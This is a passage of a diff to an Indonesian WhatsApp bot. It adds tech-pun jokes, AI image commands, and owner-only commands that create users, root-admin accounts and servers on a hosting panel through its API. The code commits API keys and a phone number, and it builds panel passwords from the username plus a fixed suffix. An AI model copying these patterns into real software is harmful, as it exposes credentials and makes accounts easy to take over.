pacarmu? | 400(Bad Request) | Aku cium boleh? | 401(Authorization Required) | Aku buka bajumu yah | 402(Payment Required) sad", + "kamu tau ga beda'y kamu sama sintax PHP, kalo sintax PHP itu susah di hafalin kalo kamu itu susah di lupain", + "Kamu dulu sekolah SMK ambil kejuruan apa? | Teknik Komputer Jaringan | Terus sekarang bisa apa aja? | Menjaring hatimu lewat komputerku | biggrin", + "Jika cinta itu Array, maka,cintaku padamu tak pernah empty jika di unset().", + "SQLI ( Structured Query Love Injection )", + "aku ingin kamu rm -rf kan semua mantan di otak mu,akulah root hati kamu", + "Senyumu bagaikan cooler yang menyejukan hatiku ketika sedang overclock.", + "kamu adalah terminalku, dimana aku menghabiskan waktuku untuk mengetikan beribu baris kode cinta untukmu smile", + "Aku seneng nongkrong di zone-h, karena disanalah aku arsipkan beberapa website yang ada foto kamunya.", + "hatiku ibarat vps hanya untukmu saja bukan shared hosting yg bisa tumpuk berbagai domain cinta.", + "Aku bukanlah VNC Server Tanpa Authentication yg bisa kamu pantau kapan saja.", + "Jangan men-dualboot-kan hatiku kepadamu.", + "cintaku kan ku Ctrl+A lalu kan ku Ctrl+C dan kan ku Ctrl+V tepat di folder system hatimu.", + "KDE kalah Cantiknya, GNOME kalah Simplenya, FluxBox kalah Ringannya, pokonya Semua DE itu Kalah Sama Kamu.", + "Cintamu bagaikan TeamViewer yang selalu mengendalikan hatiku", + "cinta kita tak akan bisa dipisahkan walau setebal apapun itu firewall...!!" +] + +let bacotan = pickRandom(heker) + reply(bacotan) +} +break +//=========================================\\====== +case 'quotesbijak':{ + function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} +const quotes = [ +"Keyakinan merupakan suatu pengetahuan di dalam hati, jauh tak terjangkau oleh bukti.", +"Rasa bahagia dan tak bahagia bukan berasal dari apa yang kamu miliki, bukan pula berasal dari siapa diri kamu, atau apa yang kamu kerjakan. Bahagia dan tak bahagia berasal dari pikiran kamu.", +"Sakit dalam perjuangan itu hanya sementara. Bisa jadi kamu rasakan dalam semenit, sejam, sehari, atau setahun. Namun jika menyerah, rasa sakit itu akan terasa selamanya.", +"Hanya seseorang yang takut yang bisa bertindak berani. Tanpa rasa takut itu tidak ada apapun yang bisa disebut berani.", +"Jadilah diri kamu sendiri. Siapa lagi yang bisa melakukannya lebih baik ketimbang diri kamu sendiri?", +"Kesempatan kamu untuk sukses di setiap kondisi selalu dapat diukur oleh seberapa besar kepercayaan kamu pada diri sendiri.", +"Kebanggaan kita yang terbesar adalah bukan tidak pernah gagal, tetapi bangkit kembali setiap kali kita jatuh.", +"Suatu pekerjaan yang paling tak kunjung bisa diselesaikan adalah pekerjaan yang tak kunjung pernah dimulai.", +"Pikiran kamu bagaikan api yang perlu dinyalakan, bukan bejana yang menanti untuk diisi.", +"Kejujuran adalah batu penjuru dari segala kesuksesan. Pengakuan adalah motivasi terkuat. Bahkan kritik dapat membangun rasa percaya diri saat disisipkan di antara pujian.", +"Segala sesuatu memiliki kesudahan, yang sudah berakhir biarlah berlalu dan yakinlah semua akan baik-baik saja.", +"Setiap detik sangatlah berharga karena waktu mengetahui banyak hal, termasuk rahasia hati.", +"Jika kamu tak menemukan buku yang kamu cari di rak, maka tulislah sendiri.", +"Jika hatimu banyak merasakan sakit, maka belajarlah dari rasa sakit itu untuk tidak memberikan rasa sakit pada orang lain.", +"Hidup tak selamanya tentang pacar.", +"Rumah bukan hanya sebuah tempat, tetapi itu adalah perasaan.", +"Pilih mana: Orang yang memimpikan kesuksesan atau orang yang membuatnya menjadi kenyataan?", +"Kamu mungkin tidak bisa menyiram bunga yang sudah layu dan berharap ia akan mekar kembali, tapi kamu bisa menanam bunga yang baru dengan harapan yang lebih baik dari sebelumnya.", +"Bukan bahagia yang menjadikan kita bersyukur, tetapi dengan bersyukurlah yang akan menjadikan hidup kita bahagia.", +"Aku memang diam. Tapi aku tidak buta.", +] +let bacotan = pickRandom(quotes) + reply(bacotan) +} +break//================================================================== + +case 'youai': { + if (!q) return replygcxeon(`Example : ${command} siapakah elon musk`) + reply(mess.wait) +let response = await fetch(`https://kiicodeofficial.my.id/api/ai/youai?query=${q}&apikey=Dzsyacans`); +const data = await response.json(); +reply(`${data.data.completion}`) +} +break +//================================================================== + +case 'tiktoksearch': +case 'carivideotiktok': +case 'ttsearch': { + if (!q) return replygcxeon('_Mau cari apa kak_'); + reply(mess.wait); + const response = await fetch(`https://skizo.tech/api/ttsearch?search=${q}&apikey=dzsyabotz`); + const data = await response.json(); + XeonBotInc.sendMessage(m.chat, { video: { url: data.play }, caption: data.title }, { quoted: m }); +} +break; +//================================================================== +case 'viral':{ + if (!XeonTheCreator) return XeonStickOwner() + reply(mess.wait) +var asupan = JSON.parse(fs.readFileSync('./database/anuu.json')) +var hasil = pickRandom(asupan) +XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) +} +break +//================================================================== +case 'midjourney': +case 'mdjourney': { + if (!q) return reply('mana promt nya Kak') +reply(mess.wait) +const fotoCP = `*Hasil Dari Promt* :\n${text}` +XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: `https://kiicodeofficial.my.id/api/ai/midjourney?text=${q}&apikey=Dzsyacans` } }, { quoted: m }); +} +break; +//================================================================== +case 'dalle': { + if (!q) return replygcxeon('Mana Textnya kak'); + reply(mess.wait); + const fotoCP = `ini dia hasilnya dari ${q}`; + XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: `https://kiicodeofficial.my.id/api/ai/dalle?text=${q}s&apikey=Dzsyacans` } }, { quoted: m }); +} +break; +//================================================================== +case 'text2image': +case 'text2img': { +if (!q) return reply('mana promt nya Kak') +reply(mess.wait) +const fotoCP = `*Hasil Dari Promt* :\n${text}` +XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: `https://kiicodeofficial.my.id/api/ai/text2img?text=${q}&apikey=Dzsyacans`} }, { quoted: m }); +} +break +//============================================================= +case 'anything': { + if (!q) return reply('mana promt nya Kak') +reply(mess.wait) +const fotoCP = `*Hasil Dari Promt* :\n${text}` +XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: `https://kiicodeofficial.my.id/api/ai/anything?text=${q}&apikey=Dzsyacans` } }, { quoted: m }); +} +break +//============================================================= +case 'absolutely': { + if (!q) return reply('mana promt nya Kak') +reply(mess.wait) +const fotoCP = `*Hasil Dari Promt* :\n${text}` +XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: `https://kiicodeofficial.my.id/api/ai/absolutely?text=${q}&apikey=Dzsyacans` } }, { quoted: m }); +} +break +//================================================================== +case "panel": { +const owned = `6285892928715@s.whatsapp.net` +const text12 = xeonytimewisher + ` *@${sender.split("@")[0]}* + + +BY Danzz Ofc + +CARA ADD USER PANEL : +ram user,nomer + +contoh : 1gb Danzz,6285892928715 + +Powered By *@${owned.split("@")[0]}* +โ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌ` +XeonBotInc.sendMessage(from, { text: text12, contextInfo: { mentionedJid: [sender, owned], forwardingScore: 9999, isForwarded: true }}, { quoted: m }) +} +break + +case "listusr": { + if (!XeonTheCreator) return XeonStickOwner() + let page = args[0] ? args[0] : '1'; + let f = await fetch(domain + "/api/application/users?page=" + page, { + "method": "GET", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + apikey + } + }); + let res = await f.json(); + let users = res.data; + let messageText = "Berikut list user:\n\n"; + + for (let user of users) { + let u = user.attributes; + messageText += `ID: ${u.id} - Status: ${u.attributes?.user?.server_limit === null ? 'Inactive' : 'Active'}\n`; + messageText += `${u.username}\n`; + messageText += `${u.first_name} ${u.last_name}\n\n`; + } + + messageText += `Page: ${res.meta.pagination.current_page}/${res.meta.pagination.total_pages}\n`; + messageText += `Total Users: ${res.meta.pagination.count}`; + + await XeonBotInc.sendMessage(m.chat, { text: messageText }, { quoted: m }); + + if (res.meta.pagination.current_page < res.meta.pagination.total_pages) { + reply(`Gunakan perintah ${prefix}listusr ${res.meta.pagination.current_page + 1} untuk melihat halaman selanjutnya.`); + } +} +break; + case "delsrv": { + if (!XeonTheCreator) return reply(`Khusus Danzz Ofc Aja`) + +let srv = args[0] +if (!srv) return reply('ID nya mana?') +let f = await fetch(domain + "/api/application/servers/" + srv, { +"method": "DELETE", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +} +}) +let res = f.ok ? { +errors: null +} : await f.json() +if (res.errors) return reply('*SERVER NOT FOUND*') +reply('*SUCCESSFULLY DELETE THE SERVER*') +} + break + case "delusr": { + if (!XeonTheCreator) return reply(`Khusus Danzz Ofc Aja`) +let usr = args[0] +if (!usr) return reply('ID nya mana?') +let f = await fetch(domain + "/api/application/users/" + usr, { +"method": "DELETE", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +let res = f.ok ? { +errors: null +} : await f.json() +if (res.errors) return reply('*USER NOT FOUND*') +reply('*SUCCESSFULLY DELETE THE USER*') +} + break + case "addusr": { + +if (!XeonTheCreator) return reply(`Maaf Command Tersebut Khusus Developer Bot WhatsApp`) +let t = text.split(','); +if (t.length < 3) return reply(`*Format salah!* + +Penggunaan: +${prefix + command} email,username,name,number/tag`); +let email = t[0]; +let username = t[1]; +let name = t[2]; +let u = m.quoted ? m.quoted.sender : t[3] ? t[3].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +if (!u) return m.reply(`*Format salah!* + +Penggunaan: +${prefix + command} email,username,name,number/tag`); +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = d.exists ? crypto.randomBytes(5).toString('hex') : t[3] +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": name, +"last_name": "Memb", +"language": "en", +"password": password.toString() +}) +}) +let data = await f.json(); +if (data.errors) return reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let p = await XeonBotInc.sendMessage(m.chat, { text: ` +*SUCCESSFULLY ADD USER* + +โ•ญโ”€โ *ใ€Ž USER INFO ใ€* +โ”ฃโ โžค *ID* : ${user.id} +โ”ฃโ โžค *USERNAME* : ${user.username} +โ”ฃโ โžค *EMAIL* : ${user.email} +โ”ฃโ โžค *NAME* : ${user.first_name} ${user.last_name} +โ”ฃโ โžค *CREATED AT* : ${tanggal} +โ”—โฌฃ *PASSWORD BERHASIL DI KIRIM KE @${u.split`@`[0]}*`, mentions:[u], +}) +XeonBotInc.sendMessage(u, { text: `*BERIKUT DETAIL AKUN PANEL ANDA*\n +โ•ญโ”€โ *ใ€Ž USER INFO ใ€* +โ”ฃโ โžค *๐Ÿ“งEMAIL* : ${email} +โ”ฃโ โžค *๐Ÿ‘คUSERNAME* : ${username} +โ”ฃโ โžค *๐Ÿ”PASSWORD* : ${password.toString()} +โ”ฃโ โžค *๐ŸŒLOGIN* : ${domain} +โ”—โฌฃ`, +}) +} +break + +case "listsrv": { + if (!XeonTheCreator) return reply(`Maaf, Anda tidak dapat melihat daftar server.`); + let page = args[0] ? args[0] : '1'; + let f = await fetch(domain + "/api/application/servers?page=" + page, { + "method": "GET", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + apikey + } + }); + let res = await f.json(); + let servers = res.data; + let sections = []; + let messageText = "Berikut adalah daftar server:\n\n"; + + for (let server of servers) { + let s = server.attributes; + + let f3 = await fetch(domain + "/api/client/servers/" + s.uuid.split`-`[0] + "/resources", { + "method": "GET", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + capikey + } + }); + + let data = await f3.json(); + let status = data.attributes ? data.attributes.current_state : s.status; + + messageText += `ID Server: ${s.id}\n`; + messageText += `Nama Server: ${s.name}\n`; + messageText += `Status: ${status}\n\n`; + } + + messageText += `Halaman: ${res.meta.pagination.current_page}/${res.meta.pagination.total_pages}\n`; + messageText += `Total Server: ${res.meta.pagination.count}`; + + await XeonBotInc.sendMessage(m.chat, { text: messageText }, { quoted: m }); + + if (res.meta.pagination.current_page < res.meta.pagination.total_pages) { + reply(`Gunakan perintah ${prefix}listsrv ${res.meta.pagination.current_page + 1} untuk melihat halaman selanjutnya.`); + } +} +break; + +case "tutorial": { +const owned = `6285892928715@s.whatsapp.net` +const version = require("baileys/package.json").version +const text12 = xeonytimewisher + ` *@${sender.split("@")[0]}* + +โ–ญโ–ฌโ–ญ( *TUTOR RUN* )โ–ญโ–ฌโ–ญ + +*TUTOR RUN BOT* +( https://youtu.be/rqqxkI4P8YY ) + + Powered By *@${owned.split("@")[0]}* +โ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌ` +XeonBotInc.sendMessage(from, { text: text12, contextInfo: { mentionedJid: [sender, owned], forwardingScore: 9999, isForwarded: true }}, { quoted: m }) +} +break + +case "ramlist": { +const owned = `6285892928715@s.whatsapp.net` +const version = require("baileys/package.json").version +const text12 = xeonytimewisher + ` *@${sender.split("@")[0]}* + +โ–ญโ–ฌโ–ญโ–ฌโ–ญ( *SERVER V1* )โ–ญโ–ฌโ–ญโ–ฌโ–ญ + +.1gb [username,nomor] +.2gb [username,nomor] +.3gb [username,nomor] +.4gb [username,nomor] +.5gb [username,nomor] +.6gb [username,nomor] +.7gb [username,nomor] +.8gb [username,nomor] +.unli [username,nomor] + +Contoh: +.ram username,nomor +.1gb Danzz,6285892928715 +โ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌ + +โ–ญโ–ฌโ–ญโ–ฌโ–ญ( *SERVER V2* )โ–ญโ–ฌโ–ญโ–ฌโ–ญ + +.srv21gb [username,nomor] +.srv22gb [username,nomor] +.srv23gb [username,nomor] +.srv24gb [username,nomor] +.srv25gb [username,nomor] +.srv26gb [username,nomor] +.srv27gb [username,nomor] +.srv2unli [username,nomor] + +Contoh: +.srv2(RAM PANEL) username,nomor +.srv21gb Danzz,6285892928715 +โ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌโ–ญโ–ฌ` +XeonBotInc.sendMessage(from, { text: text12, contextInfo: { mentionedJid: [sender, owned], forwardingScore: 9999, isForwarded: true }}, { quoted: m }) +} freya = fs.readFileSync('./freya/ramlist.mp3') +XeonBotInc.sendMessage(m.chat, {audio: freya, mimetype:'audio/mpeg', ptt:true }, {quoted:m}) +break +case 'premlist':{ +if (!XeonTheCreator) return reply(mess.owner) +let listprem =`*LIST SELER Danzz Ofc*\n\nTotal Seller : ${owner.length}\n` +var no = 1 +for (let x of owner) { +listprem +=`\nUser: ${no++}\nID: ${x}\n\n` +} +listprem +=`Untuk Menghapus Akses Prem Ketik ${prefix}delprem 628xxx/@tag` +XeonBotInc.sendMessage(m.chat, {text: listprem },{quoted: XeonBotInc.chat}) +} +break +case "addsrv": { +if (!XeonTheCreator) return reply(`Ngapain ? Fitur Ini Khusus Tuan Saya๐Ÿ˜œ`) +let s = text.split(','); +if (s.length < 7) return reply(`*Format salah!* + +Penggunaan: +${prefix + command} name,tanggal,userId,eggId,locationId,memory/disk,cpu`) +let name = s[0]; +let desc = s[1] || '' +let usr_id = s[2]; +let egg = s[3]; +let loc = s[4]; +let memo_disk = s[5].split`/`; +let cpu = s[6]; +let f1 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +let data = await f1.json(); +let startup_cmd = data.attributes.startup + +let f = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": desc, +"user": usr_id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo_disk[0], +"swap": 0, +"disk": memo_disk[1], +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 5 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f.json() +if (res.errors) return reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +reply(`*SUCCESSFULLY ADD SERVER* + +TYPE: ${res.object} + +ID: ${server.id} +UUID: ${server.uuid} +NAME: ${server.name} +DESCRIPTION: ${server.description} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% +CREATED AT: ${server.created_at}`) +} + break +case 'suspend': { + if (!XeonTheCreator) return reply(`Khusus Danzz Ofc Ajah`) + let srv = args[0] + if (!srv) return reply('ID nya mana?') + let f = await fetch(domain + "/api/application/servers/" + srv + "/suspend", { + "method": "POST", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + apikey + } + }) + let res = f.ok ? { + errors: null + } : await f.json() + if (res.errors) return reply('*SERVER NOT FOUND*') + reply('*BERHASIL SUSPEND..*') + } + break + case 'unsuspend': { + if (!XeonTheCreator) return reply(`Khusus Danzz Ofc Ajah`) + let srv = args[0] + if (!srv) return reply('ID nya mana?') + let f = await fetch(domain + "/api/application/servers/" + srv + "/unsuspend", { + "method": "POST", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + apikey + } + }) + let res = f.ok ? { + errors: null + } : await f.json() + if (res.errors) return reply('*SERVER NOT FOUND*') + reply('*BERHASIL BUKA SUSPEND..*') + } break -case 'group': case 'editinfo': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!q) return replygcxeon(`Send orders ${command} _options_\nOptions : close & open\nExample : ${command} close`) -if (args[0] == 'close') { -XeonBotInc.groupSettingUpdate(from, 'announcement') -replygcxeon(`Success Allows Only Admins To Send Messages To This Group`) -} else if (args[0] == 'open') { -XeonBotInc.groupSettingUpdate(from, 'not_announcement') -replygcxeon(`Success Allows All Participants To Send Messages To This Group`) -} else { -replygcxeon(`Type Command ${command} _pptions_\nOptions : Close & Open\nExample : ${command} close`) -}} -break -case 'autostickergc': - case 'autosticker': -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args.length < 1) return replygcxeon('type auto sticker on to enable\ntype auto sticker off to disable') -if (args[0] === 'on'){ -if (isAutoSticker) return replygcxeon(`Already activated`) -autosticker.push(from) -fs.writeFileSync('./database/autosticker.json', JSON.stringify(autosticker)) -replygcxeon('autosticker activated') -} else if (args[0] === 'off'){ -let anuticker1 = autosticker.indexOf(from) -autosticker.splice(anuticker1, 1) -fs.writeFileSync('./database/autosticker.json', JSON.stringify(autosticker)) -replygcxeon('auto sticker deactivated') +case "createadmin": { +if (!XeonTheCreator) return reply(mess.owner) + +let s = q.split(',') +let email = s[0]; +let username = s[0] +let nomor = s[1] +if (s.length < 2) return reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +if (!username) return reply(`Ex : ${prefix+command} Username,@tag/nomor\n\nContoh :\n${prefix+command} example,@user`) +if (!nomor) return reply(`Ex : ${prefix+command} Username,@tag/nomor\n\nContoh :\n${prefix+command} example,@user`) +let password = username + "46093" +let nomornya = nomor.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": username + "@gmail.com", +"username": username, +"first_name": username, +"last_name": "Memb", +"language": "en", + "root_admin" : true, +"password": password.toString() +}) + +}) + +let data = await f.json(); + +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); + +let user = data.attributes + +let tks = ` +TYPE: user + +๐Ÿ“กID: ${user.id} +๐ŸŒทUUID: ${user.uuid} +๐Ÿ‘คUSERNAME: ${user.username} +๐Ÿ“ฌEMAIL: ${user.email} +๐Ÿฆ–NAME: ${user.first_name} ${user.last_name} +๐Ÿ”ฅLANGUAGE: ${user.language} +๐Ÿ“ŠADMIN: ${user.root_admin} +โ˜ข๏ธCREATED AT: ${user.created_at} + +๐Ÿ–ฅ๏ธLOGIN: ${domain} +` + const listMessage = { + + text: tks, + + } + + + + await XeonBotInc.sendMessage(m.chat, listMessage) + + await XeonBotInc.sendMessage(nomornya, { + + text: `*BERIKUT DETAIL AKUN ADMIN PANEL ANDA*\n +USERNAME : ${username} +PASSWORD: ${password} +LOGIN: ${domain} + + +*NOTE : OWNER HANYA MENGIRIM 1X DATA AKUN ANDA MOHON DI SIMPAN BAIK BAIK KALAU DATA AKUN ANDA HILANG OWNER TIDAK DAPAT MENGIRIM AKUN ANDA LAGI* + + +`, + + }) + } break -case 'antivirus': case 'antivirtex': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (antiVirtex) return replygcxeon('Already activated') -ntvirtex.push(from) -fs.writeFileSync('./database/antivirus.json', JSON.stringify(ntvirtex)) -replygcxeon('Success in turning on antivirus in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) + case "createadmin2": { +if (!XeonTheCreator) return reply(mess.owner) + +let s = q.split(',') +let email = s[0]; +let username = s[0] +let nomor = s[1] +if (s.length < 2) return reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +if (!username) return reply(`Ex : ${prefix+command} Username,@tag/nomor\n\nContoh :\n${prefix+command} example,@user`) +if (!nomor) return reply(`Ex : ${prefix+command} Username,@tag/nomor\n\nContoh :\n${prefix+command} example,@user`) +let password = username + "46093" +let nomornya = nomor.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +let f = await fetch(domain2 + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey2 +}, +"body": JSON.stringify({ +"email": username + "@gmail.com", +"username": username, +"first_name": username, +"last_name": "Admin", +"language": "en", + "root_admin" : true, +"password": password.toString() }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNo body is allowed to send virus in this group, member who send will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!antiVirtex) return replygcxeon('Already deactivated') -let off = ntvirtex.indexOf(from) -ntvirtex.splice(off, 1) -fs.writeFileSync('./database/antivirus.json', JSON.stringify(ntvirtex)) -replygcxeon('Success in turning off antivirus this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break -case 'nsfw': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiNsfw) return replygcxeon('Already activated') -ntnsfw.push(from) -fs.writeFileSync('./database/nsfw.json', JSON.stringify(ntnsfw)) -replygcxeon('Success in turning on nsfw in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) + }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNsfw(not safe for work) feature has been enabled in this group, which means one can access sexual graphics from the bot!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiNsfw) return replygcxeon('Already deactivated') -let off = ntnsfw.indexOf(from) -ntnsfw.splice(off, 1) -fs.writeFileSync('./database/nsfw.json', JSON.stringify(ntnsfw)) -replygcxeon('Success in turning off nsfw in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + +let data = await f.json(); + +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); + +let user = data.attributes + +let tks = ` +TYPE: Admin + +๐Ÿ“กID: ${user.id} +๐ŸŒทUUID: ${user.uuid} +๐Ÿ‘คUSERNAME: ${user.username} +๐Ÿ“ฌEMAIL: ${user.email} +๐Ÿฆ–NAME: ${user.first_name} ${user.last_name} +๐Ÿ”ฅLANGUAGE: ${user.language} +๐Ÿ“ŠADMIN: ${user.root_admin} +โ˜ข๏ธCREATED AT: ${user.created_at} + +` + const listMessage = { + + text: tks, + + } + + + + await XeonBotInc.sendMessage(m.chat, listMessage) + + await XeonBotInc.sendMessage(nomornya, { + + text: `*BERIKUT DETAIL AKUN ADMIN PANEL ANDA*\n +USERNAME : ${username} +PASSWORD: ${password} +LOGIN: ${domain2} + + +*NOTE : OWNER HANYA MENGIRIM 1X DATA AKUN ANDA MOHON DI SIMPAN BAIK BAIK KALAU DATA AKUN ANDA HILANG OWNER TIDAK DAPAT MENGIRIM AKUN ANDA LAGI* + + +`, + + }) + +} + break + case "listadmin": { + if (!XeonTheCreator) return reply(`Maaf, Anda tidak dapat melihat daftar pengguna.`); + let page = args[0] ? args[0] : '1'; + let f = await fetch(domain + "/api/application/users?page=" + page, { + "method": "GET", + "headers": { + "Accept": "application/json", + "Content-Type": "application/json", + "Authorization": "Bearer " + apikey + } + }); + let res = await f.json(); + let users = res.data; + let messageText = "Berikut list admin:\n\n"; + + for (let user of users) { + let u = user.attributes; + if (u.root_admin) { + messageText += `ID: ${u.id} - Status: ${u.attributes?.user?.server_limit === null ? 'Inactive' : 'Active'}\n`; + messageText += `${u.username}\n`; + messageText += `${u.first_name} ${u.last_name}\n\n`; + } } + + messageText += `Page: ${res.meta.pagination.current_page}/${res.meta.pagination.total_pages}\n`; + messageText += `Total Admin: ${res.meta.pagination.count}`; + + await XeonBotInc.sendMessage(m.chat, { text: messageText }, { quoted: m }); + + if (res.meta.pagination.current_page < res.meta.pagination.total_pages) { + m.reply(`Gunakan perintah ${prefix}listusr ${res.meta.pagination.current_page + 1} untuk melihat halaman selanjutnya.`); } - break - case 'antilinkyoutubevideo': case 'antilinkyoutubevid': case 'antilinkytvid': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkYoutubeVid) return replygcxeon('Already activated') -ntilinkytvid.push(from) -fs.writeFileSync('./database/antilinkytvideo.json', JSON.stringify(ntilinkytvid)) -replygcxeon('Success in turning on youtube video antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +} +break; +case "1gb": { + if (!isPrem) return replyprem(mess.premium) +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "1GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "1024" +let cpu = "15" +let disk = "1024" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`DONE BY DanzBotz Officialโšก + + *DONE CRATE USER + SERVER ID :* ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + + *๐Ÿ‘คUSERNAME* : ${user.username} + *๐Ÿ”PASSWORD* : ${password} + *๐ŸŒLOGIN* : ${domain} + + +NOTE : +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": 